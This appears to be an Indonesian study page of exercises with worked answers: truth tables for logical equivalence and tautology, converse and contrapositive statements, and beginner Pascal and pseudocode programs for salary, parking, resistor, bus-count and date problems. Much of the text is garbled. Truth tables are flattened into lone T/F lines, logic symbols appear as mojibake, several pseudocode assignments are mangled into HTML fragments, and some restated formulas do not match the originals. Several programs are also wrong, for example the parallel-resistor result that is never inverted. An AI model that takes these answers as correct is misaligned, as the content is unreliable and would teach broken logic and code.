T
F
3. Tipe soal ketiga:
Tentukan, apakah pasangan-pasangan kalimat berikut ekuivalen:
a)       ((not p or q) and (p or not r)) and (p or not q) dengan not (p or r)
-  ((~P^Q) ^ (P v ~q)) ^ ( p v ~q) dengan (p v r)
p
q
r
~P
~q
~P^Q
P v ~q
((~P^Q) ^ (P v ~q))
((~P^Q) ^ (P v ~q)) ^ ( p v ~q)
P v r
T
T
T
F
F
F
T
F
F
T
T
T
F
F
F
F
T
F
F
T
T
F
T
F
T
F
T
F
F
T
T
F
F
F
T
F
T
F
F
T
F
T
T
T
F
T
F
F
F
T
F
T
F
T
F
T
F
F
F
F
F
F
T
T
T
F
T
F
F
T
F
F
F
T
T
F
T
F
F
F
TIDAK TERBUKTI!!!!
b)       (r v p) and ((not r or (not r or (p and q)) and (r or q)) dengan p and q
-          (r v p) ^ ((~r v ( p^q)) ^ (r v q)) dengan p^q
p
q
r
~r
~q
r v p
p^q
((~r v ( p^q))
r v q
((~r v ( p^q)) ^ (r v q))
(r v p) ^ ((~r v ( p^q)) ^ (r v q))
T
T
T
F
F
T
T
T
T
T
T
T
T
F
T
F
T
T
T
T
T
T
T
F
T
F
T
T
F
F
T
F
F
T
F
F
T
T
T
F
T
F
F
F
F
T
T
F
F
T
F
F
T
F
F
F
T
F
T
F
F
F
T
T
T
T
F
F
T
F
T
T
F
F
T
F
F
F
F
F
T
T
F
F
T
F
F
F
TIDAK TERBUKTI!!!!!
4. Tipe soal keempat:
Tentukan apakah kalimat-kalimat dibawah ini termasuk Tautologi, Kontradiksi, atau Kontingen.
a)       (a Þ b) Û (~a Þ ~ b)
a
b
~a
~b
(a Ãž b)
(~a Ãž ~ b)
(a Þ b) Û (~a Þ ~ b)
T
T
F
F
T
T
T
T
F
F
T
F
T
F
F
T
T
F
T
F
F
F
F
T
T
T
T
T
KONTINGEN!!!
b)       (((a Þ ~(b v ~c)) v ~b) Þ (aÞc)  
A
b
c
~b
~c
(b v ~c)
~(b v ~c)
a Þ ~(b v ~c
((a Þ ~(b v ~c)) v ~b)
(aÞc)
  (((a Þ ~(b v ~c)) v ~b) Þ (aÞc)  
T
T
T
F
F
T
F
F
F
T
T
T
T
F
F
T
T
F
F
F
F
T
T
F
T
T
F
F
T
T
T
T
T
T
F
F
T
T
T
F
F
T
F
F
F
T
T
F
F
T
F
T
T
T
T
F
T
F
F
T
T
F
T
T
T
T
F
F
T
T
F
F
T
T
T
T
T
F
F
F
T
T
T
F
T
T
T
T
5. Tipe soal kelima:
Tentukan konvers, invers, dan kontraposisi dari kalimat logika berikut:
a)       Jika suatu bilangan asli berangka satuan 0 maka bilangan tersebut habis dibagi 5. (p --> q)
pàq sebanding dengan q --> p
Konvers
-  jika bilangan tersebut habis dibagi 5 maka suatu  bilangan asli berangka satuan 0
Invers
 p --> q sebanding dengan ~p i--> ~q
- Jika suatu bilangan asli tidak berangka satuan 0 maka bilangan tersebut tidak habis dibagi 5
Kontraposisi
p --> q sebanding dengan ~q --> ~p
Jika bilangan tersebut tidak habis dibagi 5 maka suatu bilangan asli tidak berangka satuan 0
b)       Jika Amir mempunyai mobil, maka ia orang kaya
Konvers
-          Jika ia orang kaya maka amir mempunyai mobil
Invers
-          Jika amir tidak mempunyai mobil, maka ia bukan orang kaya
Kontraposisi
-          Jika ia bukan orang kaya maka amir tidak mempunyai mobil
........

soal uas algoritma pemrograman pascal

Soal 1 :  Menghitung Gaji dan Upah Lembur
Pada suatu perusahaan terdapat 5 golongan karyawan. Gaji karyawan ditentukan berdasarkan gaji tetap dan juga dari lamanya bekerja. Gaji tetap dan gaji per jam tergantung kepada golongan karyawan sesuai dengan tabel berikut:
Golongan
Gaji tetap (Rp)
Upah lembur per jam (Rp)
1
500.000
5000
2
300.000
3000
3
250.000
2000
4
100.000
1500
5
50.000
1000
Buatlah program untuk menghitung total gaji karyawan yang diterima dengan rumus: gaji sesuai golongan + (banyaknya jam lembur * tarIF lembur sesuai golongan karyawan)!
Contoh tampilan program:
INPUT:
Golongan: 2
Jumlah jam lembur: 5
OUTPUT:
Total gaji: 315000




Soal 2: Biaya Parkir
Tulis program untuk menentukan biaya parkir yang dihitung berdasarkan lama parkir. Lama parkir dihitung dari selisih jam masuk dan jam keluar diINPUT. Biaya parkir 2 jam pertama 2000, perjam berikutnya 500.
Contoh Masukan dan keluaran:
Jam masuk
Jam keluar
Lama
keluaran/tampilan
10
11
1
Biaya = 2000
10
2
4
Biaya = 3000
                                                                ==selamat mengerjakan==

kumpulan soal algoritma pemrograman pascal

KUMPULAN SOAL DAN JAWABAN ALGORITMA PASCAL (Bagian 2) ESSAY

Soal Nilai Akhir
Seorang mahasiswa ingin mengetahui nilai akhir matakuliah algoritma.
Aturan perhitungan Nilai Akhir yang diterapkan :
         - UTS                                            25 %
         - UAS                                            35 %
         - Tugas & Quiz                         20 %
         - Praktikum                                20 %
Setelah dihitung nilai akhirnya, kemudian dapat ditentukan indeks nilainya dengan aturan:
         - Indeks=”A” bila Nilai Akhir >= 80
         - Indeks=”B” bila Nilai Akhir >= 65 dan Nilai Akhir <80 span="">
         - Indeks=”C” bila Nilai Akhir >= 50 dan Nilai Akhir <65 span="">
         - Indeks=”D” bila Nilai Akhir >= 35 dan Nilai Akhir <50 span="">
         - Indeks=”E” bila Nilai Akhir < 35
Buat algoritma untuk membantu mahasiswa tersebut dalam menghitung nilai akhir dan Indeksnya, bila semua komponen nilai diINPUT.
Jawab:
var
        na, uts, uas, tugas, praktikum: Real
begin
        input(uts, uas, tugas, praktikum)
        na <-- 0.25="" 0.2="" 0.35="" praktikum="" span="" tugas="" uas="" uts="">
        output(na)
        if (na >= 80) then
        output('A')
                else if (na >= 65) and (na < 80) then
                output('B')
                else if (na >= 50) and (na < 65) then
                output('C')
                else if (na >= 35) and (na < 50) then
                output('D')
        else
                output('E')
               
end algoritma.
Soal Menghitung Gaji Bersih
Gaji bersih seorang pegawai dihitung dari gaji pokok dan tunjangan dipotong pajak yang harus dibayar. Besar tunjangan adalah 15 % dari gaji pokok, dan besar pajak adalah 10 % dari gaji pokok ditambah tunjangan. Buat algoritma untuk menghitung gaji bersih tersebut jika gaji pokoknya diINPUT.
Jawab:
var
        gaji, tunjangan, gtunjangan, pajak, gbersih: real
begin
        input(gaji)
        tunjangan <-- 0.15="" gaji="" span="">
        output(tunjangan)
       
        gtunjangan <-- gaji="" span="" tunjangan="">
        output(gtunjangan)
       
        pajak <-- 0.1="" gtunjangan="" span="">
        output(pajak)
       
        gbersih <-- -="" gtunjangan="" pajak="" span="">
        output(gbersih)
       
end.
Soal Menghitung Jumlah Bus
Sebuah acara wisata digunakan bus yang berkapasitas 30 orang. Tulis algoritma untuk menghitung jumlah bus wisata yang diperlukan bila jumlah peserta diINPUT dari keyboard. Catatan : bila jumlah peserta tidak kelipatan 30, maka jika sisanya > 5 harus disediakan 1 bus tambahan, bila sisanya <= 5 maka tidak perlu tambahan bus.
  Jawab:
var
   jbus, jpeserta: integer
begin
   input(jpeserta)
  
   if (jpeserta > 30) then
         if (jpeserta mod 30 > 5) then
               jbus <-- 1="" 30="" div="" jpeserta="" span="">
              
         else
               jbus <-- 30="" div="" jpeserta="" span="">
  
   else 
         jbus <-- 1="" span="">
        
   output(jbus)
  
end algoritma
Soal Menghitung Gaji dan Upah Lembur
Pada suatu perusahaan terdapat 5 golongan karyawan. Gaji karyawan ditentukan berdasarkan gaji tetap dan juga dari lamanya bekerja. Gaji tetap dan gaji per jam tergantung kepada golongan karyawan sesuai dengan tabel berikut:
Golongan
Gaji tetap (Rp)
Upah lembur per jam (Rp)
1
500.000
5000
2
300.000
3000
3
250.000
2000
4
100.000
1500
5
50.000
1000
Buatlah program untuk menghitung total gaji karyawan yang diterima dengan rumus: gaji sesuai golongan + (banyaknya jam lembur * tarIF lembur sesuai golongan karyawan)!
Contoh tampilan program:
INPUT:
Golongan: 2
Jumlah jam lembur: 5
OUTPUT:
Total gaji: 315000
Jawab:
uses crt;
var
        gol, lembur: integer;
        totgaji: real;
begin
clrscr;
        writeln('Masukkan Golongan: ');
        readln(gol);
        writeln('Masukkan jam lembur: ');
        readln(lembur);
        case gol of
        1:totgaji := (500000 + (5000 * lembur));
        2:totgaji := (300000 + (3000 * lembur));
        3:totgaji := (250000 + (2000 * lembur));
        4:totgaji := (100000 + (1500 * lembur));
        5:totgaji := (50000 + (1000 * lembur));
        end;
        writeln('Total gaji adalah: ', totgaji:2:0);
        readln;
end.
#include
Soal: Lama Bekerja
Tulis program untuk menentukan lama bekerja seorang pegawai, jika jam masuk dan jam pulang diINPUT. Catatan: jam berupa angka 1-12, dan seorang pegawai bekerja kurang dari 12 jam.
Contoh Masukan dan keluaran:
Jam masuk
Jam keluar
Keluaran/tampilan
10
11
Lama bekerja 1 jam
10
  2
Lama bekerja 4 jam
10
  7
Lama bekerja 9 jam
Jawab:
uses crt;
VAR
        imasuk, ikeluar, ilama: Integer;
BEGIN
clrscr;
REPEAT
        writeln('Masukkan Jam Masuk: ');
        readln(imasuk);
        writeln('Masukkan Jam Keluar: ');
        readln(ikeluar);
IF (imasuk > 12) OR (ikeluar > 12) THEN writeln('Data yang anda masukkan lebih dari 12, silahkan masukkan lebih kecil')
ELSE
        IF (imasuk <= ikeluar) THEN
        writeln ('Lama nya Bekerja: ', ikeluar - imasuk)
ELSE
        writeln('Lama nya Bekerja: ', (12 - imasuk) + ikeluar);
        readln;
UNTIL imasuk < 12;
end.Algoritma:
END
Soal: Biaya Parkir
Tulis program untuk menentukan biaya parkir yang dihitung berdasarkan lama parkir. Lama parkir dihitung dari selisih jam masuk dan jam keluar diINPUT. Biaya parkir 2 jam pertama 2000, perjam berikutnya 500.
Contoh Masukan dan keluaran:
Jam masuk
Jam keluar
Lama
keluaran/tampilan
10
11
1
Biaya = 2000
10
2
4
Biaya = 3000
Jawab:
uses crt;
VAR
        imasuk, ikeluar, ilama, ibiaya: integer;
BEGIN
clrscr;
        writeln('Masukkan Jam Masuk: ');
        readln(imasuk);
        writeln('Masukkan Jam Keluar: ');
        readln(ikeluar);
        IF (imasuk <= ikeluar) THEN
        ilama := ikeluar - imasuk
        ELSE
        ilama := (12 - imasuk) + ikeluar;
        writeln('Lama parkir adalah: ', ilama);
        readln;
        IF (ilama > 2) THEN
        ibiaya := 2000 + ((ilama - 2) * 500)
        ELSE
        ibiaya := 2000;
        writeln('Biaya nya adalah: ', ibiaya);
        readln;
end.
Soal: Penggabungan Resistor
Tulis program untuk menghitung resistor pengganti dari 3 buah resistor yang disusun secara seri atau paralel. Rumus untuk resistor pengganti sbb:
Seri:                       Rgab = R1 + R2 + R3
Paralel:                 1/Rgab = 1/R1 + 1/R2 + 1/R3
Besar R1, R2 dan R3 serta jenis penyusunan (seri/paralel) diINPUT oleh user.
Jawab:
uses crt;
var
        gab, r1, r2, r3: real;
        jenis: string;
begin
clrscr;
        writeln('Masukkan R1: ');
        readln(r1);
        writeln('Masukkan R2: ');
        readln(r2);
        writeln('Masukkan R3: ');
        readln(r3);
        writeln('Masukkan Jenis susunan, Seri / Paralel: ');
        readln(jenis);
        if (jenis = 'seri') then
                gab := r1 + r2 + r3
        else
                gab := (1 / r1) + (1 / r2) + (1 / r3);
                readln;
        writeln('R gabungan adalah: ', gab:2:0);
        readln;
end.
Algoritma:
Algoritma Menghitung_Resistor
END
Soal: Harga barang
Buatlah program untuk menyelesaikan masalah berikut :
Program akan menerima masukan berupa kode, jenis dan harga, dengan jenis adalah "A", "B", dan "C". Untuk setiap jenis, masing-masing akan diberikan diskon sebesar 10% untuk A, 15% untuk B, dan 20% untuk C. Program akan menghitung berapa harga setelah didiskon.
Contoh masukan :
Jenis = B
kode = 10
harga = 10000
Contoh keluaran :
Jenis barang B mENDapat diskon = 15%, Harga setelah didiskon = 8500
  
Jawab:
uses crt;
var
        harga, disk: Real;
        jenis: char;
begin
clrscr;
        writeln('Masukkan Jenis: ');
        readln(jenis);
        writeln('Masukkan Harga: ');
        readln(harga);
        case jenis of
        'a':disk := harga * 0.1;
        'b':disk := harga * 0.15;
        'c':disk := harga * 0.2;
        end;
        writeln('Harga setelah diskon: ', harga - disk:2:0);
        readln;
end.
Soal: Gaji karyawan mingguan
Sebuah perusahaan swasta menggaji karyawannya secara mingguan dengan hitungan sebagai berikut :
golongan 1 dengan upah per jam 3.000 rupiah
golongan 2 dengan upah per jam 3.500 rupiah
golongan 3 dengan upah per jam 4.000 rupiah
golongan 4 dengan upah per jam 5.000 rupiah
Bila seorang karyawan bekerja kurang atau sama dengan 40 jam per minggu, akan dihitung dengan upah per jam seperti di atas, tetapi apabila bekerja lebih dari 40 jam, maka lebihnya akan dihitung sebagai lembur dengan upah per jam 1½ kali upah biasa.
Tulis algoritma untuk menghitung gaji mingguan karyawan, bila golongan dan jam kerja diINPUT dari keyboard.
Jawab:
var
        gol, jamk: Integer
        gaji: real
begin
        input(gol)
        input(jamk)
               
              if (jamk > 40) then
                case (gol) of
                1:gaji<-- -="" 1.5="" 3000="" 40="" jamk="" span="">
                2:gaji<-- -="" 1.5="" 3500="" 40="" jamk="" span="">
                3:gaji<-- -="" 1.5="" 4000="" 40="" jamk="" span="">
                4:gaji<-- -="" 1.5="" 40="" 5000="" jamk="" span="">
                endcase
              else
                case (gol) of
                1:gaji<-- 3000="" jamk="" span="">
                2:gaji<-- 3500="" jamk="" span="">
                3:gaji<-- 4000="" jamk="" span="">
                4:gaji<-- 5000="" jamk="" span="">
                endcase
        output(gaji)
end.
                                             
Soal: Menghitung selisih waktu dalam jam dan menit
Buat program menghitung selisih waktu (dalam jam dan menit) berdasarkan jam mulai (jam,menit) dengan jam selesai (jam,menit). Data yang diINPUT adalah jam dan menit mulai, jam dan menit selesai. Format jam yang dimasukkan bisa berupa format 12 jam ataupun 24jam.
Contoh Masukan dan Keluaran:         
Mulai (jam,menit)
Selesai (jam,menit)
Lama (menit)
Lama (jam,menit)
10:30
12:10
100
1 jam 40 menit
10:30
  1:40
190
3 jam 10 menit
Jawab:
uses crt;
VAR
        ijamstart, imenitstart, imenitstop, ijamstop: Integer;
        itotmenitstart, itotmenitstop, iselangmenit, ijamdurasi: Integer;
        imenitdurasi: Integer;
BEGIN
clrscr;
        writeln('Masukkan Jam Mulai: ');
        readln(ijamstart);
        writeln('Masukkan Menit Mulai: ');
        readln(imenitstart);
        writeln('Masukkan Jam Berhenti: ');
        readln(ijamstop);
        writeln('Masukkan Menit Berhenti: ');
        readln(imenitstop);
        itotmenitstart := ijamstart * 60 + imenitstart;
        itotmenitstop := ijamstop * 60 +imenitstop;
IF (itotmenitstop >= itotmenitstart) THEN
        iselangmenit := itotmenitstop - itotmenitstart
ELSE
        iselangmenit := (12*60) - itotmenitstart + itotmenitstop;
        writeln('Selisih total dalam menit: ', iselangmenit);
        writeln('Selisih ', iselangmenit div 60, 'Jam,', iselangmenit mod 60, 'Menit');
        readln;
end.
Soal: Kuadran dari koordinat titik
Buat program dengan masukan koordinat sebuah titik (x,y) dalam sebuah system koordinat kartesian, kemudian ditentukan di kuadran mana titik tersebut.
Contoh Masukan :
Koordinat titik (x,y) : 10 -20
Contoh keluaran:
Titik 10,-20 berada pada kuadran 4
Jawab:
uses crt;
VAR
        ix, iy: Integer;
BEGIN
clrscr;
        writeln('Masukkan x:');
        readln(ix);
        writeln('Masukkan y:');
        readln(iy);
               
IF      (ix >= 0) THEN
        IF (iy >= 0) THEN
                writeln('Bilangan merupakkan kuadran I')
         ELSE
                writeln('Bilangan merupakkan kuadran IV')
   ELSE
                IF (iy >= 0) THEN
                writeln('Bilangan merupakkan kuadran II')
                ELSE
                writeln('Bilangan merupakkan kuadran III');
                readln;
end.
Soal: Tunjangan Anak
Pemerintah hanya memberikan tunjangan anak dari PNS maksimal sampai 3 anak saja. Setiap anak diberikan tunjangan sebesar 10% dari gaji pokok.
Tulis program untuk menghitung total tunjangan anak, bila gaji pokok dan jumlah anak diINPUT oleh user.
Contoh Masukan dan Keluaran:
Jumlah anak
Gaji Pokok
Tunjangan Anak
0
1.000.000
0
1
1.000.000
100.000
3
1.000.000
300.000
5
1.000.000
300.000
Jawab:
uses crt;
VAR
        gajipokok, tunjangan: real;
        jmlanak: integer;
BEGIN
clrscr;
        writeln('Masukkan Gaji Pokok: ');
        readln(gajipokok);
        writeln('Masukkan Jumlah Anak: ');
        readln(jmlanak);
        if (jmlanak <= 3) then
                tunjangan := jmlanak * 0.1 * gajipokok
        else
                tunjangan := 300000;
                writeln('Tunjangannya adalah: ', tunjangan:2:0);
                readln;
END.
Soal: Minibus pariwisata
Sebuah acara wisata digunakan minibus kapasitas 7 penumpang per mobil. Apabila terjadi kelebihan penumpang (walaupun cuma 1), maka minibus yang digunakan ditambah 1. Tulis program untuk menghitung jumlah minibus yang diperlukan, bila jumlah pesertanya diINPUT.
Contoh Masukan dan Keluaran:
Jumlah Peserta
Jumlah Minibus
5
1
7
1
8
2
Jawab:
uses crt;
var
        jpeserta, jbus: integer;
begin
clrscr;
        writeln('Masukkan Jumlah Peserta: ');
        readln(jpeserta);
        if (jpeserta > 7) then
                jbus := jpeserta div 7;
                if (jpeserta mod 7 > 0) then
                        jbus := jbus + 1
        else
                jbus := 1;
                readln;
        writeln('Jumlah bus yang dibutuhkan adalah: ', jbus);
        readln;
end.
Soal: Menentukan N hari yang lalu tanpa mengINPUTkan Hari Ini
DiINPUT jumlah berapa hari yang lalu, kemudian ditentukan nama harinya. Tulis program untuk menentukan nama hari dari sekian hari yang lalu yang diINPUT. (Catatan, gunakan Hari ini = ‘Senin’)
Contoh Masukan dan Keluaran:
N hari yang lalu
Nama Hari
0
Senin
1
Minggu
10
Jumat
20
Selasa
Jawab:
uses crt;
var
        hlalu: integer;
begin
clrscr;
        writeln('Masukkan berapa hari yang lalu, jika sekarang senin: ');
        readln(hlalu);
        if (hlalu > 7) then
                hlalu := hlalu mod 7
        else
                hlalu := hlalu;
                readln;
        case (hlalu) of
        0:writeln('Hari yang lalu adalah Senin');
                                1:writeln('Hari yang lalu adalah Minggu');
                                2:writeln('Hari yang lalu adalah Sabtu');
                                3:writeln('Hari yang lalu adalah Jumat');
                                4:writeln('Hari yang lalu adalah Kamis');
                                5:writeln('Hari yang lalu adalah Rabu');
                                6:writeln('Hari yang lalu adalah Selasa');
                                end;
                               
                                readln;
                               
end.
Soal: Menentukan N hari yang lalu dengan mengINPUTkan Hari Ini
DiINPUT jumlah berapa hari yang lalu, kemudian ditentukan nama harinya. Tulis program untuk menentukan nama hari dari sekian hari yang lalu dan nomor hari ini yang diINPUT.
Contoh Masukan dan Keluaran:
N hari yang lalu
Hari ini
Nama Hari
0
1
Senin
3
3
Minggu
5
4
Sabtu
Jawab:
uses crt;
var
        hlalu, hini, namahari: integer;
begin
clrscr;
        writeln('Masukkan hari keberapa sekarang: ');
        readln(hini);
        writeln('Masukkan berapa hari yang lalu: ');
        readln(hlalu);
        if (hini > hlalu) then
                namahari := hini - hlalu
        else
                namahari := 7 - (hlalu - hini);
                readln;
            case (namahari) of
            1:writeln('Hari yang lalu adalah Senin');
2:writeln('Hari yang lalu adalah Selasa');
            3:writeln('Hari yang lalu adalah Rabu');
            4:writeln('Hari yang lalu adalah Kamis');
            5:writeln('Hari yang lalu adalah Jumat');
            6:writeln('Hari yang lalu adalah Sabtu');
            7:writeln('Hari yang lalu adalah Minggu');
end;
            readln;
end.
END
Soal: Penghitungan Pembayaran Listrik
PLN menerapkan pembayaran listrik perumahan dengan cara perhitungan sebagai berikut :
-       Untuk golongan 1 tarIF : Rp 1000/kWh
-       Untuk golongan 2 tarIF : Rp 2000/kWh
Dengan syarat penghitungan:
Minimum pembayaran adalah 100 kWh sedangkan untuk pemakaian 1000 kWh dan seterusnya tarIFnya ditambah 10% dari total pembayaran.
Golongan
Pemakaian
Bayar
1
50
100.000
2
150
300.000
1
1000
1.100.000
Jawab:
uses crt;
var
        gol, pakai, tarif, bayar: real;
begin
clrscr;
        writeln('Masukkan Golongan 1 atau 2: ');
        readln(gol);
        writeln('Masukkan Pemakaian: ');
        readln(pakai);
        if ( gol = 1) then
                tarif := 1000
        else
                tarif := 2000;
        if (pakai >= 1000) then
                bayar := pakai * tarif * 1.1
        else if (pakai < 100) then
                bayar := 100 * tarif
        else
                bayar := pakai * tarif;
        writeln('Pembayarannya adalah: ', bayar:2:0);
        readln;
end.
Soal: Penghitungan Bulan
Buatlah algoritma untuk menghitung bulan pernikahan dengan mengINPUTkan bulan saat ini dan berapa bulan kedepan. Misal data:
Bulan Saat Ini
N Bulan Kedepan
Bulan Pernikahan
1
2
3
12
1
1
10
5
3
Jawab:
VAR
                Bini, bdepan, bnikah: integer
BEGIN
                INPUT(bini, bdepan)
                IF (bini + bedpan <= 12) then
                                bnikah ß bini + bedpan
                else
                                bnikah ß (bini + bedpan) mod 12
                output(bnikah)
END ALGORITMA
Soal: Selisih 2 waktu
Buat program untuk menghitung selisih waktu antara 2 waktu, dengan masukan waktu adalah dalam bentuk (jam, menit, detik) dan keluaran dalam detik!
Contoh tampilan program:
INPUT:
Waktu1= 2:30:45
Waktu2= 2:31:20
OUTPUT:
Selisih waktu= 35 detik
Jawab:
uses crt;
var
        jam1, jam2, menit1, menit2, detik1, detik2, selisih: real;
begin
clrscr;
        writeln('Masukkan Jam Pertama: ');
        readln(jam1);
        writeln('Masukkan Menit Pertama: ');
        readln(menit1);
        writeln('Masukkan Detik Pertama: ');
        readln(detik1);
        writeln('Masukkan Jam Kedua: ');
        readln(jam2);
        writeln('Masukkan Menit Kedua: ');
        readln(menit2);
        writeln('Masukkan Detik Kedua: ');
        readln(detik2);
        jam1 := jam1 * 3600;
        menit1 := menit1 * 60;
        jam2 := jam2 * 3600;
        menit2 := menit2 * 60;
        detik1 := jam1 + menit1 + detik1;
        detik2 := jam2 + menit2 + detik2;
        writeln('Total detik Pertama adalah: ', detik1);
        writeln('Total detik Kedua adalah: ', detik2);
        if (detik1 > detik2) then
                selisih := detik1 - detik2
        else
                selisih := detik2 - detik1;
                readln;
        writeln('Selisih nya Dalam detik adalah: ', selisih:2:0,'detik');
        readln;
end.

                                                                       ==selamat belajar==